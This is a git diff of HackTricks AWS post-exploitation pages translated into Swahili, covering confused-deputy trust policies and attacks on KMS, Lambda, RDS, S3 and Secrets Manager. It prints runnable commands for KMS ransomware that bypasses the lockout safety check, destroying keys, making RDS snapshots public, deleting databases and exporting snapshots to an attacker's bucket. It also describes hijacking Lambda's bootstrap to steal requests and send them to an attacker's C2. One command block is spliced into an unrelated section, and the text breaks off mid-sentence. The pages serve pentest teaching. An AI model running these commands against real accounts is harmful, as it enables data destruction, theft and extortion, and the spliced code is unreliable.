Problem +## Tatizo la Mwakilishi Aliyechanganyikiwa -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +Ikiwa unaruhusu **akaunti ya nje (A)** kufikia **jukumu** katika akaunti yako, huenda ukawa na **0 uelewa** kuhusu **nani hasa anaweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia itaweza kufikia akaunti yako**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Kwa hivyo, unaporuhusu akaunti ya nje kufikia jukumu katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni "nywila" ya siri ambayo akaunti ya nje (A) **inahitaji kubainisha** ili **kuchukua jukumu katika shirika lako**. Kwa kuwa **akaunti ya nje B haitajui nywila hii**, hata kama ana ufikiaji juu ya A **hataweza kufikia jukumu lako**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +Hata hivyo, kumbuka kwamba `ExternalId` hii "siri" **sio siri**, mtu yeyote anayeweza **kusoma sera ya jukumu la IAM atakuwa na uwezo wa kuiona**. Lakini kadri akaunti ya nje A inavyoijua, lakini akaunti ya nje **B haijui**, in **azuia B kutumia A kufikia jukumu lako**. +Mfano: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> Ili mshambuliaji aweze kutumia confused deputy, atahitaji kupata njia ya kujua kama wakuu wa akaunti ya sasa wanaweza kujifanya kama majukumu katika akaunti nyingine. -### Unexpected Trusts - -#### Wildcard as principal +### Miamala Isiyotarajiwa +#### Wildcard kama mkuu ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +Hii sera **inaruhusu wote AWS** kuchukua jukumu. -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### Huduma kama mkuu ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +Hii sera **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita hii Lambda. -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 kama kiongozi ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` - -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. +Ikiwa S3 bucket imetolewa kama kiongozi, kwa sababu S3 buckets haina Nambari ya Akaunti, ikiwa **ulifuta bucket yako na mshambuliaji akaunda** hiyo katika akaunti yao, basi wanaweza kuitumia vibaya hii. #### Not supported - ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` - -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). +Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni matumizi ya hali na `AWS:SourceArn` ili kuangalia ARN ya asili. Hata hivyo, **huduma zingine huenda zisipokee hiyo** (kama CloudTrail kulingana na vyanzo vingine). ## References - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..240d30cea 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -4,101 +4,95 @@ ## KMS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Kuandika/Kufungua taarifa -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` na `file://` ni mipango ya URI inayotumika katika amri za AWS CLI kubaini njia ya faili za ndani: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` Inasoma faili kwa njia ya binary, inayotumika kawaida kwa faili zisizo za maandiko. +- `file://:` Inasoma faili kwa njia ya maandiko, kwa kawaida inatumika kwa faili za maandiko safi, skripti, au JSON ambayo haina mahitaji maalum ya uandishi. > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> Kumbuka kwamba ikiwa unataka kufungua baadhi ya data ndani ya faili, faili lazima iwe na data ya binary, si data iliyowekwa kwa base64. (fileb://) +- Kutumia funguo **symmetric** ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- Kutumia **asymmetric** key: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +Mshambuliaji mwenye ufikiaji wa kipaumbele juu ya KMS anaweza kubadilisha sera ya KMS ya funguo na **kutoa ufikiaji wa akaunti yake juu yao**, akiondoa ufikiaji uliopewa akaunti halali. -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +Hivyo, watumiaji wa akaunti halali hawawezi kupata taarifa yoyote ya huduma yoyote ambayo imekuwa imefichwa kwa kutumia funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> Kumbuka kwamba **funguo zinazodhibitiwa na AWS hazihusiki** na shambulio hili, ni **funguo zinazodhibitiwa na Mteja** pekee. +> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye konsoli ya wavuti unafanya shambulio hili liwezekane tu kutoka CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> Kumbuka kwamba ikiwa unabadilisha sera hiyo na kutoa ufikiaji tu kwa akaunti ya nje, na kisha kutoka kwenye akaunti hii ya nje unajaribu kuweka sera mpya ili **kurudisha ufikiaji kwa akaunti ya awali, huwezi**.
@@ -106,32 +100,26 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ #### Global KMS Ransomware -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itahusisha hatua zifuatazo: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data +- Kuunda **funguo mpya na nyenzo za funguo** zilizoorodheshwa na mshambuliaji +- **Kurejesha data za zamani** zilizofichwa na toleo la awali na ile mpya. +- **Futa funguo za KMS** +- Sasa ni mshambuliaji tu, ambaye ana nyenzo za funguo za awali anaweza kufichua data iliyofichwa ### Destroy keys - ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> Kumbuka kwamba AWS sasa **inasitisha hatua zilizopita kutekelezwa kutoka akaunti tofauti:**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..a859230df 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,30 +4,26 @@ ## Lambda -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### Kuiba Maombi ya URL ya Lambda za Wengine -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Ikiwa mshambuliaji kwa namna fulani atafanikiwa kupata RCE ndani ya Lambda atakuwa na uwezo wa kuiba maombi ya HTTP ya watumiaji wengine kwa lambda. Ikiwa maombi yana taarifa nyeti (cookies, credentials...) atakuwa na uwezo wa kuiba hizo. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Kuiba Maombi ya URL ya Lambda za Wengine & Maombi ya Extensions -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Kunyanyasa Lambda Layers pia inawezekana kunyanyasa extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..b6d8b7ced 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Pora Lambda Maombi {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Mchakato wa Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** ā€“ get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** ā€“ return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** ā€“ return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer** ni mchakato nje ya kontena ambao **inatuma** **maombi** kwa mchakato wa **init**. +2. Mchakato wa init unasikiliza kwenye bandari **9001** ukionyesha baadhi ya maeneo ya kuvutia: +- **`/2018-06-01/runtime/invocation/next`** ā€“ pata tukio la maombi linalofuata +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** ā€“ rudisha jibu la handler kwa ombi +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** ā€“ rudisha kosa la utekelezaji +3. **bootstrap.py** ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia hayo (**`/next`**). +4. Hatimaye, **bootstrap.py** inatuma kwa init **jibu** -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +Kumbuka kwamba bootstrap inachukua msimbo wa mtumiaji kama moduli, hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu. -## Stealing Lambda Requests +## Kuiba Maombi ya Lambda -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa **`bootstrap.py`** ndani ya mchakato wa **`bootstrap.py`** ambao unashughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa **bootstrap mbaya** utaanza **kuzungumza na mchakato wa init** ili kushughulikia maombi wakati **bootstrap halali** ime **kwama** ikikimbia ile mbaya, hivyo haitahitaji maombi kwa mchakato wa init. -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa **`bootstrap.py`**. Hivyo mshambuliaji anaweza: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Kutuma matokeo ya uwongo ya ombi la sasa kwa mchakato wa init**, hivyo init inafikiri mchakato wa bootstrap unangojea maombi zaidi. +- Ombi lazima litumwe kwa **`/${invoke-id}/response`** +- Invoke-id inaweza kupatikana kutoka kwenye stack ya mchakato halali wa **`bootstrap.py`** kwa kutumia moduli ya python [**inspect**](https://docs.python.org/3/library/inspect.html) (kama [ilivyopendekezwa hapa](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) au tu kuomba tena kwa **`/2018-06-01/runtime/invocation/next`** (kama [ilivyopendekezwa hapa](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Tekeleza **`boostrap.py`** mbaya ambayo itashughulikia maombi yanayofuata +- Kwa ajili ya kujificha, inawezekana kutuma vigezo vya maombi ya lambda kwa C2 inayodhibitiwa na mshambuliaji na kisha kushughulikia maombi kama kawaida. +- Kwa shambulio hili, inatosha kupata msimbo wa asili wa **`bootstrap.py`** kutoka kwenye mfumo au [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), ongeza msimbo mbaya na uendeshe kutoka kwenye ombi la sasa la lambda. -### Attack Steps +### Hatua za Shambulio -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. Pata udhaifu wa **RCE**. +2. Tengeneza **bootstrap** **mbaya** (mfano [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **Tekeleza** bootstrap mbaya. +Unaweza kwa urahisi kufanya vitendo hivi ukikimbia: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +Mshambuliaji mwenye ruhusa hizi anaweza **kuunda picha ya DB** na kuifanya **ipatikane** **hadharani**. Kisha, anaweza tu kuunda katika akaunti yake mwenyewe DB kutoka kwa picha hiyo. +Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya **picha** nyingine zilizoundwa **kuwa za hadharani**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za kumbukumbu za mfano wa RDS**. Ikiwa data nyeti au akreditii za ufikiaji zimeandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hii kuongeza mamlaka yao au kufanya vitendo visivyoidhinishwa. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia akreditivu zilizovuja. ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +Mshambuliaji mwenye ruhusa hizi anaweza **kusababisha DoS kwa mifano ya RDS iliyopo**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**Madhara yanayoweza kutokea**: Kufutwa kwa mifano ya RDS iliyopo, na kupoteza kwa data. ### `rds:StartExportTask` > [!NOTE] -> TODO: Test - -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. +> TODO: Jaribu +Mshambuliaji mwenye ruhusa hii anaweza **kutoa picha ya mfano wa RDS kwenye kikasha cha S3**. Ikiwa mshambuliaji ana udhibiti wa kikasha cha S3 kilichokusudiwa, wanaweza kupata data nyeti ndani ya picha iliyotolewa. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**Madhara yanayoweza kutokea**: Ufikiaji wa data nyeti katika picha iliyosafirishwa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..f245c2fde 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -4,39 +4,35 @@ ## S3 -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Taarifa Nyeti -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika mabakuli. Kwa mfano, siri za hali ya terraform. ### Pivoting -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Majukwaa tofauti yanaweza kuwa yanatumia S3 kuhifadhi mali nyeti.\ +Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **kurasa za wavuti** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye ruhusa za kuandika anaweza **kubadilisha msimbo** kutoka kwenye bakuli ili **pivot** kwa majukwaa mengine, au **kuchukua akaunti** kwa kubadilisha faili za JS. ### S3 Ransomware -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +Katika hali hii, **mshambuliaji anaunda funguo ya KMS (Key Management Service) katika akaunti yake ya AWS** au akaunti nyingine iliyovunjwa. Kisha wanafanya **funguo hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji yeyote wa AWS, jukumu, au akaunti kuandika vitu kwa kutumia funguo hii. Hata hivyo, vitu haviwezi kufichuliwa. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +Mshambuliaji anabaini lengo **S3 bucket na kupata ufikiaji wa kiwango cha kuandika** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi mbaya wa bakuli unaoonyesha hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambuliaji kwa kawaida anawalenga mabakuli yanay contain taarifa nyeti kama vile taarifa zinazoweza kutambulika binafsi (PII), taarifa za afya zilizolindwa (PHI), kumbukumbu, nakala za akiba, na zaidi. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Ili kubaini kama bakuli inaweza kulengwa kwa ransomware, mshambuliaji anachunguza usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **muhimu ya uthibitisho wa hatua nyingi (MFA delete) imewezeshwa**. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawezeshwa, mshambuliaji anaweza **kuondoa Object Versioning**. Ikiwa zote Object Versioning na MFA delete zimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye bakuli hilo maalum. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +Kwa kutumia AWS API, mshambuliaji **anabadilisha kila kitu katika bakuli na nakala iliyofichwa kwa kutumia funguo zao za KMS**. Hii inafanikisha kuficha data katika bakuli, na kuifanya isipatikane bila funguo. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Ili kuongeza shinikizo zaidi, mshambuliaji anapanga kufuta funguo ya KMS iliyotumika katika shambulio. Hii inampa lengo dirisha la siku 7 kurejesha data zao kabla funguo hiyo haijafutwa na data inakuwa imepotea milele. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Hatimaye, mshambuliaji anaweza kupakia faili ya mwisho, kwa kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa lengo jinsi ya kurejesha faili zao. Faili hii inapakiwa bila kufichwa, labda ili kuvutia umakini wa lengo na kuwajulisha kuhusu shambulio la ransomware. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Kwa maelezo zaidi** [**angalia utafiti wa asili**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..25ccf10db 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,42 +12,32 @@ For more information check: ### Read Secrets -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +**siri zenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kujifunza jinsi ya kuzisoma. ### DoS Change Secret Value -Changing the value of the secret you could **DoS all the system that depends on that value.** +Kubadilisha thamani ya siri unaweza **DoS mfumo wote unaotegemea thamani hiyo.** > [!WARNING] -> Note that previous 